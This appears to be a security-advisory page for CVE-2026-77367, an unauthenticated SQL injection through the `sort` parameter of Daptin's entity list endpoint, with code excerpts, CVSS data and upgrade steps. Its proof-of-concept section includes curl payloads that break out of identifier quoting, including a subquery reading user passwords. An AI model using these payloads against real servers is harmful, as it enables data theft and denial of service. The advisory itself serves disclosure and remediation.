Skip to main content

CVE-2026-77367 — Vulnerability in github.com/daptin/daptin

CRITICAL

Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint

Published November 20, 2026Updated November 20, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.68%). Schedule for your next planned update.

Does your project use an affected github.com/daptin/daptin version?

Paste your go.sum to check it for CVE-2026-77367 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Summary

An unauthenticated attacker can inject arbitrary SQL through the sort query parameter accepted by Daptin's generic entity list endpoint (GET /api/<entity>), which every table in a Daptin instance exposes. The parameter is concatenated into raw SQL identifiers with no validation that the referenced column exists, unlike a sibling code path in the same file that received exactly this validation as the fix for a previously published advisory (GHSA-rw2c-8rfq-gwfv). Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to blind/error-based extraction of data from tables the requester has no permission to read.

Details

PaginatedFindAllWithoutFilters in server/resource/resource_findallpaginated.go reads the sort query parameter directly from the request with no validation:

// server/resource/resource_findallpaginated.go:300-302
var sortOrder []string
if len(req.QueryParams["sort"]) > 0 {
    sortOrder = req.QueryParams["sort"]

Each entry is then concatenated with the table name and passed to goqu.I() (goqu's raw SQL identifier constructor) in two separate places, with no check that the referenced column exists on the table:

// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)
for _, sort := range sortOrder {
    ...
    if strings.Index(sort, "(") == -1 {
        sort = prefix + sort
    }
    idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_")))
}
// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)
for _, so := range sortOrder {
    ...
    orders = append(orders, goqu.I(ord).Asc())
}

goqu.I() renders its argument by wrapping it in the dialect's quote character (a backtick, in this build's configured dialect) without escaping an embedded quote character of the same kind. A backtick supplied in sort closes the identifier early, and the remainder of the attacker string is parsed as raw SQL grammar rather than treated as inert column-name text.

This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated goqu.L() calls in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines later in the same file, in the fuzzy-search code path:

// server/resource/resource_findallpaginated.go:1491-1505
// Validate each column against table schema (prevents SQL injection via goqu.L)
tableInfo := dbResource.tableInfo
var validColumns []string
for _, col := range columns {
    if _, ok := tableInfo.GetColumnByName(col); ok {
        validColumns = append(validColumns, col)
    } else {
        log.Warnf(...)
    }
}

The identical validation was never applied to the base sort parameter handling earlier in the same file. Unlike fuzzy search (which requires an explicit filter operator to reach), plain sort is processed on every list request to every entity, authenticated or not.

PoC

Build current HEAD and run it with a fresh SQLite database and no custom schema:

go build -buildvcs=false -o daptin_bin .
./daptin_bin

No account needs to exist. world (and most default tables) are guest-readable, so all requests below are sent with no Authorization header at all:

# 1) Reflection -- proves raw, unsanitized concatenation
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}

# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
#   FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]

# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text
curl -s -G "http://localhost:6336/api/user_account" \
    --data-urlencode 'sort=id`,(select password from user_account limit 1)'
# => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]}

# 3) Zero credentials, reliable across repeated attempts
for i in 1 2 3; do
  curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
      --data-urlencode 'sort=`x'
done
# => 500 / 500 / 500

Advisory Timeline

  • First published November 20, 2026 (6 days ago).
  • Last revised November 20, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/daptin/daptin to 0.12.30 or later
go get github.com/daptin/daptin@v0.12.30

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Go (1).

PackageFixed In
github.com/daptin/daptin Go · Affected: All versions0.12.30

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE
  • CWE-89
    SQL InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.4 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

Frequently Asked Questions

What is CVE-2026-77367?
Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.4/10).
How do I check if my project is affected by CVE-2026-77367?
CVE-2026-77367 affects github.com/daptin/daptin. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-77367 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.4

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
0.68%
EPSS percentile: 47.6

This is a below-median EPSS score — only 47.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-hq2p-f2vj-v3cm

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum